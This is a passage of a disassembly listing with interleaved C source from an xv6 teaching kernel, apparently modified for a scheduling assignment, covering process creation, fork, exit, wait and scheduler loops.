%esp,%ebp 80104d4d: 83 ec 28 sub $0x28,%esp struct proc *p; extern char _binary_initcode_start[], _binary_initcode_size[]; p = allocproc(); 80104d50: e8 e6 fe ff ff call 80104c3b <allocproc> 80104d55: 89 45 f4 mov %eax,-0xc(%ebp) initproc = p; 80104d58: 8b 45 f4 mov -0xc(%ebp),%eax 80104d5b: a3 68 c6 10 80 mov %eax,0x8010c668 if((p->pgdir = setupkvm()) == 0) 80104d60: e8 e4 3c 00 00 call 80108a49 <setupkvm> 80104d65: 8b 55 f4 mov -0xc(%ebp),%edx 80104d68: 89 42 04 mov %eax,0x4(%edx) 80104d6b: 8b 45 f4 mov -0xc(%ebp),%eax 80104d6e: 8b 40 04 mov 0x4(%eax),%eax 80104d71: 85 c0 test %eax,%eax 80104d73: 75 0c jne 80104d81 <userinit+0x37> panic("userinit: out of memory?"); 80104d75: c7 04 24 f8 95 10 80 movl $0x801095f8,(%esp) 80104d7c: e8 bc b7 ff ff call 8010053d <panic> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 80104d81: ba 2c 00 00 00 mov $0x2c,%edx 80104d86: 8b 45 f4 mov -0xc(%ebp),%eax 80104d89: 8b 40 04 mov 0x4(%eax),%eax 80104d8c: 89 54 24 08 mov %edx,0x8(%esp) 80104d90: c7 44 24 04 00 c5 10 movl $0x8010c500,0x4(%esp) 80104d97: 80 80104d98: 89 04 24 mov %eax,(%esp) 80104d9b: e8 01 3f 00 00 call 80108ca1 <inituvm> p->sz = PGSIZE; 80104da0: 8b 45 f4 mov -0xc(%ebp),%eax 80104da3: c7 00 00 10 00 00 movl $0x1000,(%eax) memset(p->tf, 0, sizeof(*p->tf)); 80104da9: 8b 45 f4 mov -0xc(%ebp),%eax 80104dac: 8b 40 18 mov 0x18(%eax),%eax 80104daf: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp) 80104db6: 00 80104db7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80104dbe: 00 80104dbf: 89 04 24 mov %eax,(%esp) 80104dc2: e8 33 10 00 00 call 80105dfa <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80104dc7: 8b 45 f4 mov -0xc(%ebp),%eax 80104dca: 8b 40 18 mov 0x18(%eax),%eax 80104dcd: 66 c7 40 3c 23 00 movw $0x23,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80104dd3: 8b 45 f4 mov -0xc(%ebp),%eax 80104dd6: 8b 40 18 mov 0x18(%eax),%eax 80104dd9: 66 c7 40 2c 2b 00 movw $0x2b,0x2c(%eax) p->tf->es = p->tf->ds; 80104ddf: 8b 45 f4 mov -0xc(%ebp),%eax 80104de2: 8b 40 18 mov 0x18(%eax),%eax 80104de5: 8b 55 f4 mov -0xc(%ebp),%edx 80104de8: 8b 52 18 mov 0x18(%edx),%edx 80104deb: 0f b7 52 2c movzwl 0x2c(%edx),%edx 80104def: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 80104df3: 8b 45 f4 mov -0xc(%ebp),%eax 80104df6: 8b 40 18 mov 0x18(%eax),%eax 80104df9: 8b 55 f4 mov -0xc(%ebp),%edx 80104dfc: 8b 52 18 mov 0x18(%edx),%edx 80104dff: 0f b7 52 2c movzwl 0x2c(%edx),%edx 80104e03: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 80104e07: 8b 45 f4 mov -0xc(%ebp),%eax 80104e0a: 8b 40 18 mov 0x18(%eax),%eax 80104e0d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80104e14: 8b 45 f4 mov -0xc(%ebp),%eax 80104e17: 8b 40 18 mov 0x18(%eax),%eax 80104e1a: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 80104e21: 8b 45 f4 mov -0xc(%ebp),%eax 80104e24: 8b 40 18 mov 0x18(%eax),%eax 80104e27: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 80104e2e: 8b 45 f4 mov -0xc(%ebp),%eax 80104e31: 83 c0 6c add $0x6c,%eax 80104e34: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80104e3b: 00 80104e3c: c7 44 24 04 11 96 10 movl $0x80109611,0x4(%esp) 80104e43: 80 80104e44: 89 04 24 mov %eax,(%esp) 80104e47: e8 de 11 00 00 call 8010602a <safestrcpy> p->cwd = namei("/"); 80104e4c: c7 04 24 1a 96 10 80 movl $0x8010961a,(%esp) 80104e53: e8 55 de ff ff call 80102cad <namei> 80104e58: 8b 55 f4 mov -0xc(%ebp),%edx 80104e5b: 89 42 68 mov %eax,0x68(%edx) p->state = RUNNABLE; 80104e5e: 8b 45 f4 mov -0xc(%ebp),%eax 80104e61: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) } 80104e68: c9 leave 80104e69: c3 ret 80104e6a <growproc>: // Grow current process's memory by n bytes. // Return 0 on success, -1 on failure. int growproc(int n) { 80104e6a: 55 push %ebp 80104e6b: 89 e5 mov %esp,%ebp 80104e6d: 83 ec 28 sub $0x28,%esp uint sz; sz = proc->sz; 80104e70: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104e76: 8b 00 mov (%eax),%eax 80104e78: 89 45 f4 mov %eax,-0xc(%ebp) if(n > 0){ 80104e7b: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80104e7f: 7e 34 jle 80104eb5 <growproc+0x4b> if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0) 80104e81: 8b 45 08 mov 0x8(%ebp),%eax 80104e84: 89 c2 mov %eax,%edx 80104e86: 03 55 f4 add -0xc(%ebp),%edx 80104e89: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104e8f: 8b 40 04 mov 0x4(%eax),%eax 80104e92: 89 54 24 08 mov %edx,0x8(%esp) 80104e96: 8b 55 f4 mov -0xc(%ebp),%edx 80104e99: 89 54 24 04 mov %edx,0x4(%esp) 80104e9d: 89 04 24 mov %eax,(%esp) 80104ea0: e8 76 3f 00 00 call 80108e1b <allocuvm> 80104ea5: 89 45 f4 mov %eax,-0xc(%ebp) 80104ea8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80104eac: 75 41 jne 80104eef <growproc+0x85> return -1; 80104eae: b8 ff ff ff ff mov $0xffffffff,%eax 80104eb3: eb 58 jmp 80104f0d <growproc+0xa3> } else if(n < 0){ 80104eb5: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80104eb9: 79 34 jns 80104eef <growproc+0x85> if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0) 80104ebb: 8b 45 08 mov 0x8(%ebp),%eax 80104ebe: 89 c2 mov %eax,%edx 80104ec0: 03 55 f4 add -0xc(%ebp),%edx 80104ec3: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104ec9: 8b 40 04 mov 0x4(%eax),%eax 80104ecc: 89 54 24 08 mov %edx,0x8(%esp) 80104ed0: 8b 55 f4 mov -0xc(%ebp),%edx 80104ed3: 89 54 24 04 mov %edx,0x4(%esp) 80104ed7: 89 04 24 mov %eax,(%esp) 80104eda: e8 16 40 00 00 call 80108ef5 <deallocuvm> 80104edf: 89 45 f4 mov %eax,-0xc(%ebp) 80104ee2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80104ee6: 75 07 jne 80104eef <growproc+0x85> return -1; 80104ee8: b8 ff ff ff ff mov $0xffffffff,%eax 80104eed: eb 1e jmp 80104f0d <growproc+0xa3> } proc->sz = sz; 80104eef: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104ef5: 8b 55 f4 mov -0xc(%ebp),%edx 80104ef8: 89 10 mov %edx,(%eax) switchuvm(proc); 80104efa: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104f00: 89 04 24 mov %eax,(%esp) 80104f03: e8 32 3c 00 00 call 80108b3a <switchuvm> return 0; 80104f08: b8 00 00 00 00 mov $0x0,%eax } 80104f0d: c9 leave 80104f0e: c3 ret 80104f0f <fork>: // Create a new process copying p as the parent. // Sets up stack to return as if from system call. // Caller must set state of returned proc to RUNNABLE. int fork(void) { 80104f0f: 55 push %ebp 80104f10: 89 e5 mov %esp,%ebp 80104f12: 57 push %edi 80104f13: 56 push %esi 80104f14: 53 push %ebx 80104f15: 83 ec 2c sub $0x2c,%esp int i, pid; struct proc *np; // Allocate process. if((np = allocproc()) == 0) 80104f18: e8 1e fd ff ff call 80104c3b <allocproc> 80104f1d: 89 45 e0 mov %eax,-0x20(%ebp) 80104f20: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 80104f24: 75 0a jne 80104f30 <fork+0x21> return -1; 80104f26: b8 ff ff ff ff mov $0xffffffff,%eax 80104f2b: e9 8e 01 00 00 jmp 801050be <fork+0x1af> // Copy process state from p. if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){ 80104f30: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104f36: 8b 10 mov (%eax),%edx 80104f38: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104f3e: 8b 40 04 mov 0x4(%eax),%eax 80104f41: 89 54 24 04 mov %edx,0x4(%esp) 80104f45: 89 04 24 mov %eax,(%esp) 80104f48: e8 38 41 00 00 call 80109085 <copyuvm> 80104f4d: 8b 55 e0 mov -0x20(%ebp),%edx 80104f50: 89 42 04 mov %eax,0x4(%edx) 80104f53: 8b 45 e0 mov -0x20(%ebp),%eax 80104f56: 8b 40 04 mov 0x4(%eax),%eax 80104f59: 85 c0 test %eax,%eax 80104f5b: 75 2c jne 80104f89 <fork+0x7a> kfree(np->kstack); 80104f5d: 8b 45 e0 mov -0x20(%ebp),%eax 80104f60: 8b 40 08 mov 0x8(%eax),%eax 80104f63: 89 04 24 mov %eax,(%esp) 80104f66: e8 d3 e3 ff ff call 8010333e <kfree> np->kstack = 0; 80104f6b: 8b 45 e0 mov -0x20(%ebp),%eax 80104f6e: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) np->state = UNUSED; 80104f75: 8b 45 e0 mov -0x20(%ebp),%eax 80104f78: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) return -1; 80104f7f: b8 ff ff ff ff mov $0xffffffff,%eax 80104f84: e9 35 01 00 00 jmp 801050be <fork+0x1af> } np->sz = proc->sz; 80104f89: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104f8f: 8b 10 mov (%eax),%edx 80104f91: 8b 45 e0 mov -0x20(%ebp),%eax 80104f94: 89 10 mov %edx,(%eax) np->parent = proc; 80104f96: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 80104f9d: 8b 45 e0 mov -0x20(%ebp),%eax 80104fa0: 89 50 14 mov %edx,0x14(%eax) np->retime=0; 80104fa3: 8b 45 e0 mov -0x20(%ebp),%eax 80104fa6: c7 80 84 00 00 00 00 movl $0x0,0x84(%eax) 80104fad: 00 00 00 np->rutime=0; 80104fb0: 8b 45 e0 mov -0x20(%ebp),%eax 80104fb3: c7 80 88 00 00 00 00 movl $0x0,0x88(%eax) 80104fba: 00 00 00 np->stime=0; 80104fbd: 8b 45 e0 mov -0x20(%ebp),%eax 80104fc0: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 80104fc7: 00 00 00 np->priority=proc->priority; 80104fca: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104fd0: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx 80104fd6: 8b 45 e0 mov -0x20(%ebp),%eax 80104fd9: 89 90 8c 00 00 00 mov %edx,0x8c(%eax) *np->tf = *proc->tf; 80104fdf: 8b 45 e0 mov -0x20(%ebp),%eax 80104fe2: 8b 50 18 mov 0x18(%eax),%edx 80104fe5: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104feb: 8b 40 18 mov 0x18(%eax),%eax 80104fee: 89 c3 mov %eax,%ebx 80104ff0: b8 13 00 00 00 mov $0x13,%eax 80104ff5: 89 d7 mov %edx,%edi 80104ff7: 89 de mov %ebx,%esi 80104ff9: 89 c1 mov %eax,%ecx 80104ffb: f3 a5 rep movsl %ds:(%esi),%es:(%edi) // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; 80104ffd: 8b 45 e0 mov -0x20(%ebp),%eax 80105000: 8b 40 18 mov 0x18(%eax),%eax 80105003: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) for(i = 0; i < NOFILE; i++) 8010500a: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80105011: eb 3d jmp 80105050 <fork+0x141> if(proc->ofile[i]) 80105013: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105019: 8b 55 e4 mov -0x1c(%ebp),%edx 8010501c: 83 c2 08 add $0x8,%edx 8010501f: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 80105023: 85 c0 test %eax,%eax 80105025: 74 25 je 8010504c <fork+0x13d> np->ofile[i] = filedup(proc->ofile[i]); 80105027: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010502d: 8b 55 e4 mov -0x1c(%ebp),%edx 80105030: 83 c2 08 add $0x8,%edx 80105033: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 80105037: 89 04 24 mov %eax,(%esp) 8010503a: e8 79 c7 ff ff call 801017b8 <filedup> 8010503f: 8b 55 e0 mov -0x20(%ebp),%edx 80105042: 8b 4d e4 mov -0x1c(%ebp),%ecx 80105045: 83 c1 08 add $0x8,%ecx 80105048: 89 44 8a 08 mov %eax,0x8(%edx,%ecx,4) *np->tf = *proc->tf; // Clear %eax so that fork returns 0 in the child. np->tf->eax = 0; for(i = 0; i < NOFILE; i++) 8010504c: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 80105050: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp) 80105054: 7e bd jle 80105013 <fork+0x104> if(proc->ofile[i]) np->ofile[i] = filedup(proc->ofile[i]); np->cwd = idup(proc->cwd); 80105056: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010505c: 8b 40 68 mov 0x68(%eax),%eax 8010505f: 89 04 24 mov %eax,(%esp) 80105062: e8 6c d0 ff ff call 801020d3 <idup> 80105067: 8b 55 e0 mov -0x20(%ebp),%edx 8010506a: 89 42 68 mov %eax,0x68(%edx) safestrcpy(np->name, proc->name, sizeof(proc->name)); 8010506d: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105073: 8d 50 6c lea 0x6c(%eax),%edx 80105076: 8b 45 e0 mov -0x20(%ebp),%eax 80105079: 83 c0 6c add $0x6c,%eax 8010507c: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80105083: 00 80105084: 89 54 24 04 mov %edx,0x4(%esp) 80105088: 89 04 24 mov %eax,(%esp) 8010508b: e8 9a 0f 00 00 call 8010602a <safestrcpy> pid = np->pid; 80105090: 8b 45 e0 mov -0x20(%ebp),%eax 80105093: 8b 40 10 mov 0x10(%eax),%eax 80105096: 89 45 dc mov %eax,-0x24(%ebp) // lock to force the compiler to emit the np->state write last. acquire(&ptable.lock); 80105099: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801050a0: e8 06 0b 00 00 call 80105bab <acquire> np->state = RUNNABLE; 801050a5: 8b 45 e0 mov -0x20(%ebp),%eax 801050a8: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) release(&ptable.lock); 801050af: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801050b6: e8 52 0b 00 00 call 80105c0d <release> return pid; 801050bb: 8b 45 dc mov -0x24(%ebp),%eax } 801050be: 83 c4 2c add $0x2c,%esp 801050c1: 5b pop %ebx 801050c2: 5e pop %esi 801050c3: 5f pop %edi 801050c4: 5d pop %ebp 801050c5: c3 ret 801050c6 <exit>: // Exit the current process. Does not return. // An exited process remains in the zombie state // until its parent calls wait() to find out it exited. void exit(void) { 801050c6: 55 push %ebp 801050c7: 89 e5 mov %esp,%ebp 801050c9: 83 ec 28 sub $0x28,%esp struct proc *p; int fd; if(proc == initproc) 801050cc: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 801050d3: a1 68 c6 10 80 mov 0x8010c668,%eax 801050d8: 39 c2 cmp %eax,%edx 801050da: 75 0c jne 801050e8 <exit+0x22> panic("init exiting"); 801050dc: c7 04 24 1c 96 10 80 movl $0x8010961c,(%esp) 801050e3: e8 55 b4 ff ff call 8010053d <panic> // Close all open files. for(fd = 0; fd < NOFILE; fd++){ 801050e8: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 801050ef: eb 44 jmp 80105135 <exit+0x6f> if(proc->ofile[fd]){ 801050f1: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801050f7: 8b 55 f0 mov -0x10(%ebp),%edx 801050fa: 83 c2 08 add $0x8,%edx 801050fd: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 80105101: 85 c0 test %eax,%eax 80105103: 74 2c je 80105131 <exit+0x6b> fileclose(proc->ofile[fd]); 80105105: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010510b: 8b 55 f0 mov -0x10(%ebp),%edx 8010510e: 83 c2 08 add $0x8,%edx 80105111: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax 80105115: 89 04 24 mov %eax,(%esp) 80105118: e8 e3 c6 ff ff call 80101800 <fileclose> proc->ofile[fd] = 0; 8010511d: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105123: 8b 55 f0 mov -0x10(%ebp),%edx 80105126: 83 c2 08 add $0x8,%edx 80105129: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4) 80105130: 00 if(proc == initproc) panic("init exiting"); // Close all open files. for(fd = 0; fd < NOFILE; fd++){ 80105131: 83 45 f0 01 addl $0x1,-0x10(%ebp) 80105135: 83 7d f0 0f cmpl $0xf,-0x10(%ebp) 80105139: 7e b6 jle 801050f1 <exit+0x2b> fileclose(proc->ofile[fd]); proc->ofile[fd] = 0; } } begin_op(); 8010513b: e8 e1 eb ff ff call 80103d21 <begin_op> iput(proc->cwd); 80105140: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105146: 8b 40 68 mov 0x68(%eax),%eax 80105149: 89 04 24 mov %eax,(%esp) 8010514c: e8 6d d1 ff ff call 801022be <iput> end_op(); 80105151: e8 4c ec ff ff call 80103da2 <end_op> proc->cwd = 0; 80105156: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010515c: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax) acquire(&ptable.lock); 80105163: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010516a: e8 3c 0a 00 00 call 80105bab <acquire> // Parent might be sleeping in wait(). wakeup1(proc->parent); 8010516f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105175: 8b 40 14 mov 0x14(%eax),%eax 80105178: 89 04 24 mov %eax,(%esp) 8010517b: e8 da 05 00 00 call 8010575a <wakeup1> // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105180: c7 45 f4 d4 41 11 80 movl $0x801141d4,-0xc(%ebp) 80105187: eb 3b jmp 801051c4 <exit+0xfe> if(p->parent == proc){ 80105189: 8b 45 f4 mov -0xc(%ebp),%eax 8010518c: 8b 50 14 mov 0x14(%eax),%edx 8010518f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105195: 39 c2 cmp %eax,%edx 80105197: 75 24 jne 801051bd <exit+0xf7> p->parent = initproc; 80105199: 8b 15 68 c6 10 80 mov 0x8010c668,%edx 8010519f: 8b 45 f4 mov -0xc(%ebp),%eax 801051a2: 89 50 14 mov %edx,0x14(%eax) if(p->state == ZOMBIE) 801051a5: 8b 45 f4 mov -0xc(%ebp),%eax 801051a8: 8b 40 0c mov 0xc(%eax),%eax 801051ab: 83 f8 05 cmp $0x5,%eax 801051ae: 75 0d jne 801051bd <exit+0xf7> wakeup1(initproc); 801051b0: a1 68 c6 10 80 mov 0x8010c668,%eax 801051b5: 89 04 24 mov %eax,(%esp) 801051b8: e8 9d 05 00 00 call 8010575a <wakeup1> // Parent might be sleeping in wait(). wakeup1(proc->parent); // Pass abandoned children to init. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801051bd: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp) 801051c4: 81 7d f4 d4 65 11 80 cmpl $0x801165d4,-0xc(%ebp) 801051cb: 72 bc jb 80105189 <exit+0xc3> wakeup1(initproc); } } // Jump into the scheduler, never to return. proc->state = ZOMBIE; 801051cd: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801051d3: c7 40 0c 05 00 00 00 movl $0x5,0xc(%eax) sched(); 801051da: e8 bd 03 00 00 call 8010559c <sched> panic("zombie exit"); 801051df: c7 04 24 29 96 10 80 movl $0x80109629,(%esp) 801051e6: e8 52 b3 ff ff call 8010053d <panic> 801051eb <wait>: // Wait for a child process to exit and return its pid. // Return -1 if this process has no children. int wait(void) { 801051eb: 55 push %ebp 801051ec: 89 e5 mov %esp,%ebp 801051ee: 83 ec 28 sub $0x28,%esp struct proc *p; int havekids, pid; acquire(&ptable.lock); 801051f1: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801051f8: e8 ae 09 00 00 call 80105bab <acquire> for(;;){ // Scan through table looking for zombie children. havekids = 0; 801051fd: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105204: c7 45 f4 d4 41 11 80 movl $0x801141d4,-0xc(%ebp) 8010520b: e9 9d 00 00 00 jmp 801052ad <wait+0xc2> if(p->parent != proc) 80105210: 8b 45 f4 mov -0xc(%ebp),%eax 80105213: 8b 50 14 mov 0x14(%eax),%edx 80105216: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010521c: 39 c2 cmp %eax,%edx 8010521e: 0f 85 81 00 00 00 jne 801052a5 <wait+0xba> continue; havekids = 1; 80105224: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) if(p->state == ZOMBIE){ 8010522b: 8b 45 f4 mov -0xc(%ebp),%eax 8010522e: 8b 40 0c mov 0xc(%eax),%eax 80105231: 83 f8 05 cmp $0x5,%eax 80105234: 75 70 jne 801052a6 <wait+0xbb> // Found one. pid = p->pid; 80105236: 8b 45 f4 mov -0xc(%ebp),%eax 80105239: 8b 40 10 mov 0x10(%eax),%eax 8010523c: 89 45 ec mov %eax,-0x14(%ebp) kfree(p->kstack); 8010523f: 8b 45 f4 mov -0xc(%ebp),%eax 80105242: 8b 40 08 mov 0x8(%eax),%eax 80105245: 89 04 24 mov %eax,(%esp) 80105248: e8 f1 e0 ff ff call 8010333e <kfree> p->kstack = 0; 8010524d: 8b 45 f4 mov -0xc(%ebp),%eax 80105250: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) freevm(p->pgdir); 80105257: 8b 45 f4 mov -0xc(%ebp),%eax 8010525a: 8b 40 04 mov 0x4(%eax),%eax 8010525d: 89 04 24 mov %eax,(%esp) 80105260: e8 4c 3d 00 00 call 80108fb1 <freevm> p->state = UNUSED; 80105265: 8b 45 f4 mov -0xc(%ebp),%eax 80105268: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) p->pid = 0; 8010526f: 8b 45 f4 mov -0xc(%ebp),%eax 80105272: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax) p->parent = 0; 80105279: 8b 45 f4 mov -0xc(%ebp),%eax 8010527c: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax) p->name[0] = 0; 80105283: 8b 45 f4 mov -0xc(%ebp),%eax 80105286: c6 40 6c 00 movb $0x0,0x6c(%eax) p->killed = 0; 8010528a: 8b 45 f4 mov -0xc(%ebp),%eax 8010528d: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax) release(&ptable.lock); 80105294: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010529b: e8 6d 09 00 00 call 80105c0d <release> return pid; 801052a0: 8b 45 ec mov -0x14(%ebp),%eax 801052a3: eb 56 jmp 801052fb <wait+0x110> for(;;){ // Scan through table looking for zombie children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->parent != proc) continue; 801052a5: 90 nop acquire(&ptable.lock); for(;;){ // Scan through table looking for zombie children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801052a6: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp) 801052ad: 81 7d f4 d4 65 11 80 cmpl $0x801165d4,-0xc(%ebp) 801052b4: 0f 82 56 ff ff ff jb 80105210 <wait+0x25> return pid; } } // No point waiting if we don't have any children. if(!havekids || proc->killed){ 801052ba: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801052be: 74 0d je 801052cd <wait+0xe2> 801052c0: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801052c6: 8b 40 24 mov 0x24(%eax),%eax 801052c9: 85 c0 test %eax,%eax 801052cb: 74 13 je 801052e0 <wait+0xf5> release(&ptable.lock); 801052cd: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801052d4: e8 34 09 00 00 call 80105c0d <release> return -1; 801052d9: b8 ff ff ff ff mov $0xffffffff,%eax 801052de: eb 1b jmp 801052fb <wait+0x110> } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(proc, &ptable.lock); //DOC: wait-sleep 801052e0: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801052e6: c7 44 24 04 a0 41 11 movl $0x801141a0,0x4(%esp) 801052ed: 80 801052ee: 89 04 24 mov %eax,(%esp) 801052f1: e8 c9 03 00 00 call 801056bf <sleep> } 801052f6: e9 02 ff ff ff jmp 801051fd <wait+0x12> } 801052fb: c9 leave 801052fc: c3 ret 801052fd <scheduler_def>: // - eventually that process transfers control // via swtch back to the scheduler. void scheduler_def(void) { 801052fd: 55 push %ebp 801052fe: 89 e5 mov %esp,%ebp 80105300: 83 ec 28 sub $0x28,%esp struct proc *p; for(;;){ // Enable interrupts on this processor. sti(); 80105303: e8 11 f9 ff ff call 80104c19 <sti> // Loop over process table looking for process to run. acquire(&ptable.lock); 80105308: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010530f: e8 97 08 00 00 call 80105bab <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105314: c7 45 f4 d4 41 11 80 movl $0x801141d4,-0xc(%ebp) 8010531b: eb 62 jmp 8010537f <scheduler_def+0x82> if(p->state != RUNNABLE) 8010531d: 8b 45 f4 mov -0xc(%ebp),%eax 80105320: 8b 40 0c mov 0xc(%eax),%eax 80105323: 83 f8 03 cmp $0x3,%eax 80105326: 75 4f jne 80105377 <scheduler_def+0x7a> continue; // Switch to chosen process. It is the process's job // to release ptable.lock and then reacquire it // before jumping back to us. proc = p; 80105328: 8b 45 f4 mov -0xc(%ebp),%eax 8010532b: 65 a3 04 00 00 00 mov %eax,%gs:0x4 switchuvm(p); 80105331: 8b 45 f4 mov -0xc(%ebp),%eax 80105334: 89 04 24 mov %eax,(%esp) 80105337: e8 fe 37 00 00 call 80108b3a <switchuvm> p->state = RUNNING; 8010533c: 8b 45 f4 mov -0xc(%ebp),%eax 8010533f: c7 40 0c 04 00 00 00 movl $0x4,0xc(%eax) swtch(&cpu->scheduler, proc->context); 80105346: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010534c: 8b 40 1c mov 0x1c(%eax),%eax 8010534f: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80105356: 83 c2 04 add $0x4,%edx 80105359: 89 44 24 04 mov %eax,0x4(%esp) 8010535d: 89 14 24 mov %edx,(%esp) 80105360: e8 3b 0d 00 00 call 801060a0 <swtch> switchkvm(); 80105365: e8 b3 37 00 00 call 80108b1d <switchkvm> // Process is done running for now. // It should have changed its p->state before coming back. proc = 0; 8010536a: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4 80105371: 00 00 00 00 80105375: eb 01 jmp 80105378 <scheduler_def+0x7b> // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->state != RUNNABLE) continue; 80105377: 90 nop // Enable interrupts on this processor. sti(); // Loop over process table looking for process to run. acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105378: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp) 8010537f: 81 7d f4 d4 65 11 80 cmpl $0x801165d4,-0xc(%ebp) 80105386: 72 95 jb 8010531d <scheduler_def+0x20> // Process is done running for now. // It should have changed its p->state before coming back. proc = 0; } release(&ptable.lock); 80105388: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 8010538f: e8 79 08 00 00 call 80105c0d <release> } 80105394: e9 6a ff ff ff jmp 80105303 <scheduler_def+0x6> 80105399 <scheduler_fcfs>: } void scheduler_fcfs(void) { 80105399: 55 push %ebp 8010539a: 89 e5 mov %esp,%ebp 8010539c: 83 ec 28 sub $0x28,%esp struct proc *p,*chosenProc; for(;;){ // Enable interrupts on this processor. sti(); 8010539f: e8 75 f8 ff ff call 80104c19 <sti> // Loop over process table looking for process to run. acquire(&ptable.lock); 801053a4: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 801053ab: e8 fb 07 00 00 call 80105bab <acquire> chosenProc=0; 801053b0: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) //Set chosenProc to the runnable proc with the minimum creation time. for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801053b7: c7 45 f4 d4 41 11 80 movl $0x801141d4,-0xc(%ebp) 801053be: eb 2e jmp 801053ee <scheduler_fcfs+0x55> if(p->state == RUNNABLE && (!chosenProc || 